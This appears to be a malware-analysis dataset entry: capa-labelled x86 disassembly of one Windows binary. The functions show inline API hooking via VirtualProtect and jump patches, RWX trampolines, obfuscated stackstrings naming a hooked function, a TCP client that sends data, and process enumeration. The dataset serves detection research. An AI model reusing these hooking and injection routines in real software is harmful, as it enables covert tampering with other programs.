joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x13001065
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
je 0x13001064
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x14]
push eax
push 0x40
push edi
push esi
mov dword [esp + 0x24], 0x40
mov dword [0x1303f260], 1
call ebx
test eax, eax
je 0x13001058
push edi
push ebp
push esi
call fcn.1301b430
mov edx, dword [esp + 0x20]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push edx
push edi
push esi
call ebx
pop edi
mov dword [0x1303f260], 0
pop ebx
pop ebp
pop esi
ret

Function at 0x13001220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x10
mov eax, dword [0x1303de70]
xor eax, esp
mov dword [esp + 0xc], eax
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x130012c4
mov eax, dword [esp + 0x1c]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [esp + 0x28]
lea ecx, [esp + 0xc]
push ecx
push 0x40
sub eax, edi
add esi, 5
push esi
sub eax, 5
push edi
mov byte [esp + 0x20], 0xe9
mov dword [esp + 0x21], eax
mov dword [esp + 0x1c], 0
mov dword [0x1303f260], 1
call ebx
test eax, eax
je 0x130012b8
xor ecx, ecx
test esi, esi
jbe 0x130012aa
push ebp
lea ebp, [esp + 0x14]
mov eax, edi
sub ebp, edi
lea esp, [esp]
cmp ecx, 5
jae 0x1300129c
mov dl, byte [eax + ebp]
mov byte [eax], dl
jmp 0x1300129f
mov byte [eax], 0x90
add ecx, 1
add eax, 1
cmp ecx, esi
jb 0x13001290
pop ebp
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0xc]
push eax
push ecx
push esi
push edi
call ebx
pop esi
mov dword [0x1303f260], 0
pop ebx
mov ecx, dword [esp + 0x10]
pop edi
xor ecx, esp
call fcn.1301b81a
add esp, 0x10
ret

Function at 0x130013a0
Capabilities:
Read file via mapping

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi], 0
push edi
mov edi, dword [esp + 0x10]
jne 0x130013c3
push edi
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
test eax, eax
mov dword [esi], eax
je 0x130013e2
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x130013e2
mov ecx, dword [esp + 0x14]
push ecx
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
pop edi
pop esi
ret
push edi
mov edi, dword [esp + 0x18]
push edi
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push edi
push 0
push 0
push 0xf001f
push eax
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x1300141b
push edi
push 0
push esi
call fcn.1301b7a0
add esp, 0xc
pop edi
mov eax, esi
pop esi
ret
Function at 0x13001420
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x18
mov eax, dword [0x1303de70]
xor eax, esp
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov esi, dword [esp + 0x2c]
push eax
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebp, ebp
test eax, eax
je 0x130015d1
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x130015bc
push 0x40
push 0x1000
push 0x20
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x130015bc
test ebx, ebx
jbe 0x1300149d
mov ebp, edi
sub ebp, esi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [eax + ebp]
mov byte [eax], dl
add eax, 1
sub ecx, 1
jne 0x13001490
mov al, byte [edi]
cmp al, 0xe8
je 0x13001536
cmp al, 0xe9
je 0x13001536
cmp al, 0x8d
je 0x13001586
cmp al, 0x6a
jne 0x130014fa
cmp ebx, 7
jae 0x13001586
mov byte [esi], al
movzx eax, byte [edi + 1]
mov byte [esi + 1], al
movzx ecx, byte [edi + 2]
mov byte [esi + 2], cl
movzx edx, byte [edi + 3]
mov byte [esi + 3], dl
movzx eax, byte [edi + 4]
mov byte [esi + 4], al
movzx ecx, byte [edi + 5]
mov byte [esi + 5], cl
movzx edx, byte [edi + 6]
mov ebx, 7
mov byte [esi + 6], dl
jmp 0x13001586
cmp al, 0xff
jne 0x13001586
mov al, byte [edi + 1]
cmp al, 0x15
je 0x13001511
cmp al, 0x25
jne 0x13001586
cmp ebx, 6
jae 0x1300151b
mov ebx, 6
test ebx, ebx
jbe 0x13001586
mov ebp, edi
mov eax, esi
sub ebp, esi
mov ecx, ebx
mov dl, byte [eax + ebp]
mov byte [eax], dl
add eax, 1
sub ecx, 1
jne 0x13001527
jmp 0x13001586
xor ebp, ebp
test ebx, ebx
jbe 0x13001571
mov ecx, esi
sub ecx, edi
lea edx, [esp + 0x1c]
sub edx, edi
mov eax, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], edx
cmp ebp, 5
mov dl, byte [eax]
mov byte [ecx + eax], dl
jae 0x13001567
mov cl, byte [eax]
mov edx, dword [esp + 0x18]
mov byte [edx + eax], cl
mov ecx, dword [esp + 0x10]
add ebp, 1
add eax, 1
cmp ebp, ebx
jb 0x13001550
mov eax, edi
sub eax, esi
add dword [esp + 0x1d], eax
mov ecx, dword [esp + 0x1c]
mov dl, byte [esp + 0x20]
mov dword [esi], ecx
mov byte [esi + 4], dl
push 0
lea eax, [ebx + edi]
push eax
lea ecx, [ebx + esi]
push ecx
call fcn.13001220
mov edx, dword [esp + 0x20]
add ebx, 0xfffffffb
push ebx
push edx
push edi
call fcn.13001220
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.1301b81a
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.1301b81a
add esp, 0x18
ret
mov ecx, dword [esp + 0x20]
pop esi
mov eax, ebp
pop ebp
pop ebx
xor ecx, esp
call fcn.1301b81a
add esp, 0x18
ret
Function at 0x130016c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x70
mov eax, dword [0x1303de70]
xor eax, esp
mov dword [esp + 0x6c], eax
mov eax, 0x72
mov word [esp + 0x2e], ax
mov word [esp + 0x32], ax
mov eax, 0x3a
mov word [esp + 0x34], ax
mov word [esp + 0x36], ax
mov eax, 0x20
mov word [esp + 0x66], ax
mov byte [esp + 0x23], al
mov edx, 0x1e
mov ecx, 0x1f
lea eax, [esp + 4]
push eax
mov dword [esp + 4], 0
mov word [esp + 0x2c], 0x6c
mov word [esp + 0x2e], 0x67
mov word [esp + 0x30], 0x75
mov word [esp + 0x34], 0x6a
mov word [esp + 0x3c], 9
mov word [esp + 0x3e], 0xa
mov word [esp + 0x40], 0xb
mov word [esp + 0x42], 0xc
mov word [esp + 0x44], 0xd
mov word [esp + 0x46], 0xe
mov word [esp + 0x48], 0xf
mov word [esp + 0x4a], 0x10
mov word [esp + 0x4c], 0x11
mov word [esp + 0x4e], 0x12
mov word [esp + 0x50], 0x13
mov word [esp + 0x52], 0x14
mov word [esp + 0x54], 0x15
mov word [esp + 0x56], 0x16
mov word [esp + 0x58], 0x17
mov word [esp + 0x5a], 0x18
mov word [esp + 0x5c], 0x19
mov word [esp + 0x5e], 0x1a
mov word [esp + 0x60], 0x1b
mov word [esp + 0x62], 0x1c
mov word [esp + 0x64], 0x1d
mov word [esp + 0x66], dx
mov word [esp + 0x68], cx
mov word [esp + 0x6c], 0
mov byte [esp + 8], 0x4a
mov byte [esp + 9], 0x75
mov byte [esp + 0xa], 0x5a
mov byte [esp + 0xb], 0x73
mov byte [esp + 0xc], 0x7c
mov byte [esp + 0xd], 0x3c
mov byte [esp + 0xe], 0x3b
mov byte [esp + 0xf], 0x58
mov byte [esp + 0x10], 0x7b
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], 0x6e
mov byte [esp + 0x13], 0x71
mov byte [esp + 0x14], 0x80
mov byte [esp + 0x15], 0x81
mov byte [esp + 0x16], 0xf
mov byte [esp + 0x17], 0x10
mov byte [esp + 0x18], 0x11
mov byte [esp + 0x19], 0x12
mov byte [esp + 0x1a], 0x13
mov byte [esp + 0x1b], 0x14
mov byte [esp + 0x1c], 0x15
mov byte [esp + 0x1d], 0x16
mov byte [esp + 0x1e], 0x17
mov byte [esp + 0x1f], 0x18
mov byte [esp + 0x20], 0x19
mov byte [esp + 0x21], 0x1a
mov byte [esp + 0x22], 0x1b
mov byte [esp + 0x23], 0x1c
mov byte [esp + 0x24], 0x1d
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x28], 0
call fcn.130015f0
add esp, 4
push eax
lea ecx, [esp + 0x2c]
push ecx
call fcn.13001650
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [0x1303f268], eax
je 0x130018ad
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1303f268]
mov ecx, dword [esp + 0x6c]
mov eax, dword [esp]
xor ecx, esp
call fcn.1301b81a
add esp, 0x70
ret
Function at 0x130018c0
Capabilities:
Access peb ldr_data
Hash data with crc32

Disassembly:
push 0xffffffffffffffff
push 0x13031e18
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1303de70]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0x30]
or esi, 0xffffffff
xor edi, edi
test ecx, ecx
jbe 0x13001932
cmp edi, ecx
jbe 0x13001904
call fcn.1301bfa6
mov ecx, dword [esp + 0x30]
cmp dword [esp + 0x34], 8
mov eax, dword [esp + 0x20]
jae 0x13001913
lea eax, [esp + 0x20]
movzx eax, byte [eax + edi*2]
mov edx, esi
and edx, 0xff
xor eax, edx
shr esi, 8
xor esi, dword [eax*4 + section..data]
add edi, 1
cmp edi, ecx
jb 0x13001904
not esi
mov dword [esp + 0x14], 0xffffffff
cmp dword [esp + 0x34], 8
jb 0x13001950
mov eax, dword [esp + 0x20]
push eax
call fcn.1301bda1
add esp, 4
mov dword [esp + 0x34], 7
mov dword [esp + 0x30], 0
mov word [esp + 0x20], 0
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 0x1c
Function at 0x13006c00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x13033108
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1303de70]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
lea ecx, [esp + 0x14]
call fcn.1301a83d
mov dword [esp + 0x28], 0
mov edi, dword [0x1303f318]
mov ecx, 0x1303fbdc
mov dword [esp + 0xc], edi
call fcn.130028f0
mov esi, eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax]
cmp esi, dword [eax + 0xc]
jae 0x13006c7b
mov ecx, dword [eax + 8]
mov ecx, dword [ecx + esi*4]
test ecx, ecx
jne 0x13006c7f
cmp byte [eax + 0x14], 0
je 0x13006c7f
call fcn.1301a8cb
cmp esi, dword [eax + 0xc]
jae 0x13006c85
mov edx, dword [eax + 8]
mov esi, dword [edx + esi*4]
jmp 0x13006c81
xor ecx, ecx
jmp 0x13006c63
mov esi, ecx
test esi, esi
jne 0x13006cd6
test edi, edi
je 0x13006c8d
mov esi, edi
jmp 0x13006cd6
lea eax, [esp + 0xc]
push eax
call fcn.130058e0
add esp, 4
cmp eax, 0xffffffff
jne 0x13006cbc
push str.bad_cast
lea ecx, [esp + 0x18]
call fcn.1301b91b
push 0x1303a008
lea ecx, [esp + 0x18]
push ecx
call fcn.1301c039
mov esi, dword [esp + 0xc]
mov ecx, esi
mov dword [0x1303f318], esi
call fcn.13002970
push esi
call fcn.1301a999
add esp, 4
mov dword [esp + 0x28], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.1301a85e
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x20
ret

Function at 0x13006fa0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x13033108
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1303de70]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
lea ecx, [esp + 0x14]
call fcn.1301a83d
mov dword [esp + 0x28], 0
mov edi, dword [0x1303f31c]
mov ecx, 0x1303f328
mov dword [esp + 0xc], edi
call fcn.130028f0
mov esi, eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax]
cmp esi, dword [eax + 0xc]
jae 0x1300701b
mov ecx, dword [eax + 8]
mov ecx, dword [ecx + esi*4]
test ecx, ecx
jne 0x1300701f
cmp byte [eax + 0x14], 0
je 0x1300701f
call fcn.1301a8cb
cmp esi, dword [eax + 0xc]
jae 0x13007025
mov edx, dword [eax + 8]
mov esi, dword [edx + esi*4]
jmp 0x13007021
xor ecx, ecx
jmp 0x13007003
mov esi, ecx
test esi, esi
jne 0x13007076
test edi, edi
je 0x1300702d
mov esi, edi
jmp 0x13007076
lea eax, [esp + 0xc]
push eax
call fcn.13006dd0
add esp, 4
cmp eax, 0xffffffff
jne 0x1300705c
push str.bad_cast
lea ecx, [esp + 0x18]
call fcn.1301b91b
push 0x1303a008
lea ecx, [esp + 0x18]
push ecx
call fcn.1301c039
mov esi, dword [esp + 0xc]
mov ecx, esi
mov dword [0x1303f31c], esi
call fcn.13002970
push esi
call fcn.1301a999
add esp, 4
mov dword [esp + 0x28], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.1301a85e
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x20
ret
Function at 0x130070a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x13033108
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1303de70]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
lea ecx, [esp + 0x14]
call fcn.1301a83d
mov dword [esp + 0x28], 0
mov edi, dword [0x1303f320]
mov ecx, 0x1303f324
mov dword [esp + 0xc], edi
call fcn.130028f0
mov esi, eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax]
cmp esi, dword [eax + 0xc]
jae 0x1300711b
mov ecx, dword [eax + 8]
mov ecx, dword [ecx + esi*4]
test ecx, ecx
jne 0x1300711f
cmp byte [eax + 0x14], 0
je 0x1300711f
call fcn.1301a8cb
cmp esi, dword [eax + 0xc]
jae 0x13007125
mov edx, dword [eax + 8]
mov esi, dword [edx + esi*4]
jmp 0x13007121
xor ecx, ecx
jmp 0x13007103
mov esi, ecx
test esi, esi
jne 0x13007176
test edi, edi
je 0x1300712d
mov esi, edi
jmp 0x13007176
lea eax, [esp + 0xc]
push eax
call fcn.13006e50
add esp, 4
cmp eax, 0xffffffff
jne 0x1300715c
push str.bad_cast
lea ecx, [esp + 0x18]
call fcn.1301b91b
push 0x1303a008
lea ecx, [esp + 0x18]
push ecx
call fcn.1301c039
mov esi, dword [esp + 0xc]
mov ecx, esi
mov dword [0x1303f320], esi
call fcn.13002970
push esi
call fcn.1301a999
add esp, 4
mov dword [esp + 0x28], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.1301a85e
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x20
ret
Function at 0x1300a270
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esp + 8]
xor eax, eax
mov byte [esi], al
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov eax, dword [esp + 0xc]
push eax
push ecx
mov ecx, esi
mov dword [esi + 0x4c], 0x67452301
mov dword [esi + 0x50], 0xefcdab89
mov dword [esi + 0x54], 0x98badcfe
mov dword [esi + 0x58], 0x10325476
call fcn.1300a090
mov ecx, esi
call fcn.1300a150
mov eax, esi
pop esi
ret 8

Function at 0x1300a410
Capabilities:
Hash data with md5

Disassembly:
push 0xffffffffffffffff
push 0x130327e8
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1303de70]
xor eax, esp
mov dword [esp + 0x74], eax
push ebx
push esi
mov eax, dword [0x1303de70]
xor eax, esp
push eax
lea eax, [esp + 0x84]
mov dword fs:[0], eax
mov esi, dword [esp + 0x94]
xor ebx, ebx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 0x8c], 1
cmp dword [esp + 0xb0], 0x10
mov eax, dword [esp + 0x9c]
mov byte [esp + 0x14], bl
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], 0x67452301
mov dword [esp + 0x64], 0xefcdab89
mov dword [esp + 0x68], 0x98badcfe
mov dword [esp + 0x6c], 0x10325476
jae 0x1300a4a3
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.1300a090
lea ecx, [esp + 0x14]
call fcn.1300a150
push esi
lea ecx, [esp + 0x18]
call fcn.1300a320
mov dword [esp + 0xc], 1
mov byte [esp + 0x8c], bl
cmp dword [esp + 0xb0], 0x10
jb 0x1300a4f1
mov edx, dword [esp + 0x9c]
push edx
call fcn.1301bda1
add esp, 4
mov dword [esp + 0xb0], 0xf
mov dword [esp + 0xac], ebx
mov byte [esp + 0x9c], bl
mov eax, esi
mov ecx, dword [esp + 0x84]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.1301b81a
add esp, 0x84
ret
Function at 0x1300aae0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x130329ba
mov eax, dword fs:[0]
push eax
sub esp, 0x1cc
mov eax, dword [0x1303de70]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1300ab2b
mov eax, 1
jmp 0x1300ac89
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xffffffff
jne 0x1300ab56
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1300ac89
mov word [ebp - 0x1b4], 2
mov cx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1b2], ax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1b8], 0x3e8
push 4
lea eax, [ebp - 0x1b8]
push eax
push 0x1006
push 0xffff
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea edx, [ebp - 0x1b4]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1300abe0
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x1300ac89
movzx edx, byte [ebp + 0x10]
test edx, edx
je 0x1300ac71
cmp dword [0x1303d804], 0
je 0x1300ac71
lea eax, [ebp - 0x1d0]
push eax
call fcn.1300a9f0
add esp, 4
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x1d0]
call fcn.1300b470
push eax
push 0
lea ecx, [ebp - 0x1d0]
call fcn.1300b480
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x1c0], eax
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x1d4], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d0]
call fcn.1300b6f0
mov eax, dword [ebp - 0x1d4]
jmp 0x1300ac89
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1301b81a
mov esp, ebp
pop ebp
ret
Function at 0x1300c110
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
mov eax, dword [0x1303de70]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x258]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
je 0x1300c1d4
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0x264], 0
mov edx, dword [ebp - 0x268]
add edx, 1
mov eax, dword [ebp - 0x264]
adc eax, 0
mov dword [ebp - 0x268], edx
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x23c]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
call fcn.1301c560
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], edx
mov edx, dword [ebp - 0x238]
xor eax, eax
add edx, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
adc ecx, eax
mov dword [ebp - 0x268], edx
mov dword [ebp - 0x264], ecx
mov edx, dword [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp - 0x264], 0
ja 0x1300c1f7
cmp dword [ebp - 0x268], 0
jbe 0x1300c2cd
mov dword [ebp - 0x26c], 0
push 0
push 0x80
push 4
push 0
push 1
push connect
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
je 0x1300c2c5
mov ecx, dword [ebp - 0x268]
add ecx, 2
mov edx, dword [ebp - 0x264]
adc edx, 0
push ecx
call fcn.1301b0d6
add esp, 4
mov dword [ebp - 0x270], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x270]
mov dword [eax], ecx
mov edx, dword [ebp - 0x268]
add edx, 2
mov eax, dword [ebp - 0x264]
adc eax, 0
push edx
push 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call fcn.1301b7a0
add esp, 0xc
push 0
lea eax, [ebp - 0x26c]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1300c2b8
push 0x1388
mov edx, dword [ebp - 0x25c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x26c]
jmp 0x1300c2cf
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1301b81a
mov esp, ebp
pop ebp
ret
Function at 0x1300c840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1303de70]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x30], 0x63
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x18], 0x3f
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x40
mov byte [ebp - 0xe], 0x40
mov byte [ebp - 0xd], 0x59
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x58
mov byte [ebp - 0xa], 0x4d
mov byte [ebp - 9], 0x40
mov byte [ebp - 8], 0x5a
mov byte [ebp - 7], 0
mov byte [ebp - 0x24], 0x52
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0
push 5
push 0x1300c320
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x30]
push ecx
call fcn.13001420
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1301b81a
mov esp, ebp
pop ebp
ret
Function at 0x1300cfa0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x13032b47
mov eax, dword fs:[0]
push eax
mov eax, 0x54e8
call fcn.1301c5a0
mov eax, dword [0x1303de70]
xor eax, ebp
mov dword [ebp - 0x1024], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1020]
push eax
push 0x1000
lea ecx, [ebp - 0x101c]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x1300d1c1
mov edx, dword [ebp - 0x1020]
shr edx, 2
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x5030], 0
jmp 0x1300d029
mov eax, dword [ebp - 0x5030]
add eax, 1
mov dword [ebp - 0x5030], eax
mov ecx, dword [ebp - 0x5030]
cmp ecx, dword [ebp - 0x10]
jae 0x1300d151
mov edx, dword [ebp - 0x5030]
cmp dword [ebp + edx*4 - 0x101c], 0
je 0x1300d14c
mov eax, dword [ebp - 0x5030]
mov ecx, dword [ebp + eax*4 - 0x101c]
cmp ecx, dword [ebp - 0x14]
je 0x1300d14c
mov dword [ebp - 0x5034], 0
mov dword [ebp - 0x503c], connect
mov edx, dword [ebp - 0x5030]
mov eax, dword [ebp + edx*4 - 0x101c]
mov dword [ebp - 0x5040], eax
mov dword [ebp - 0x5038], 0
mov ecx, dword [ebp - 0x503c]
push ecx
mov edx, dword [ebp - 0x5034]
push edx
mov eax, dword [ebp - 0x5040]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1300cd40
add esp, 0x14
mov dword [ebp - 0x5038], eax
cmp dword [ebp - 0x5038], 0
jle 0x1300d14c
mov eax, dword [ebp - 0x5038]
push eax
push 0x13036228
lea ecx, [ebp - 0x54f4]
push ecx
call fcn.1301c236
add esp, 0xc
push 0x190
lea edx, [ebp - 0x542c]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x54f4]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x5030]
mov edx, dword [ebp + ecx*4 - 0x101c]
push edx
push 0x1303622c
lea eax, [ebp - 0x529c]
push eax
call fcn.1301c236
add esp, 0xc
push 0x190
lea ecx, [ebp - 0x51d4]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x529c]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x1300d01a
lea ecx, [ebp - 0x502c]
call fcn.13013270
mov dword [ebp - 4], 0
push 0xa
lea ecx, [ebp - 0x502c]
call fcn.13013320
push 0x1c
lea ecx, [ebp - 0x502c]
call fcn.13013360
push 1
lea ecx, [ebp - 0x502c]
call fcn.13013360
lea ecx, [ebp - 0x502c]
call fcn.1300c090
push eax
lea ecx, [ebp - 0x502c]
call fcn.1300c080
push eax
mov eax, dword [0x1303f360]
mov ecx, dword [eax + 0x48]
call fcn.1300bf50
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x502c]
call fcn.13013280
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
